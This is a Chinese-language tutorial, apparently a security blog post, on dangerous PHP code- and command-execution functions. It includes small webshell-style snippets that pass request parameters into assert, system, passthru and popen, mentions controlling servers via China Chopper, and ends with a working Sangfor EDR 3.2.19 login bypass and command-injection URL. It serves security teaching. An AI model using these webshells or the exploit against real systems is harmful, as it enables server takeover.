危险函数
eval 语句:
eval
会将符合php语法规范字符串当作php代码执行,能够实现简单的一句话木马,列如:

?但这里我们用Feng来进行中国菜刀连接。

连接成功之后如下
能直接对对方服务器进行任何控制,

assert()
assert()同样会将字符串当做PHP 代码来执行。

在网页中通过hackbar来操作,是可以执行系统命令,如下图


?preg_replace()
这个函数的作用是对字符串进行正则匹配后替换,列如下图:

?preg_replace('$c$','C','aabbccdd')中,$c$是对最后字符串中的c进行查找,而'C'则是在查找的基础上将找到的小写c替换成大写C。

?这个函数在当$pattern$
处,存在e
修饰符时,$reqlacement
的值会被当成PHP代码来执行。列如下:
?在上述命令中,\\是一个转义字符,.*则就是当前(也就是括号里)。运行结果如下:

让我们换条命令:

?
<meta charset = "utf-8">
<?php
//$qwe = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];
//assert($qwe);
//$str = preg_replace('$c$','C','aabbccdd');
$str = preg_replace('=\[(.*)\]=e','$1','[system(ipconfig)]');
echo "替换后结果为:{$str}";
?>
call_user_func()
回调函数 ,一个函数调用另外一个函数。
call_user_func('system','ipconfig');
?第一个参数是被调用函数的函数名,第二个参数是被调用的函数参数。结果如下图:

array_map()
同样也是一个回调函数。

?这里构造函数,通过array_map来调用,在调用的时候array_map会报错

?表示第二给参数应该是个数组,所有需要在第二个函数后加[],来表示。通过hackbar来修改。

$code = empty($_REQUEST['code'])?'assert':$_REQUEST['code'];
$para[] = empty($_REQUEST['para'])?'phpinfo()':$_REQUEST['para'];
array_map($code,$para);
动态函数


OS 命令执行函数
system()
能够将字符串作为OS 命令执行


$cmd = empty($_REQUEST['cmd'])?'ipconfig':$_REQUEST['cmd'];
system($cmd);
exec()
函数能将字符串作为OS 命令执行。


?但传参为ipconfig

就只显示最后一行了,
shell_exec()


?相比于shell_exec比exec显示更加全面。
passthru()
将字符串当做系统命令执行。自带输出功能.


$cmd = empty($_REQUEST['cmd'])?'ipconfig':$_REQUEST['cmd'];
passthru($cmd);
?popen()


$cmd = empty($_REQUEST['cmd'])?'whoami':$_REQUEST['cmd'];
$f = popen($cmd, 'r');
echo fread($f, 4096);
?popen的返回结果为打开文件的字节流,相当打开一个文件,当信息放进去。
?
反引号
反引号` 内的字符串,会被解析成OS 命令。


sangfor_edr_3.2.19_rce漏洞浮现
越权
在url后追加user=admin,即可实现任意用户登录。

?
在url? http://*.*.*.*后追加/tool/log/c.php

?在上面url基础上追加?strip_slashes=system&host=whoami
?漏洞复现。
?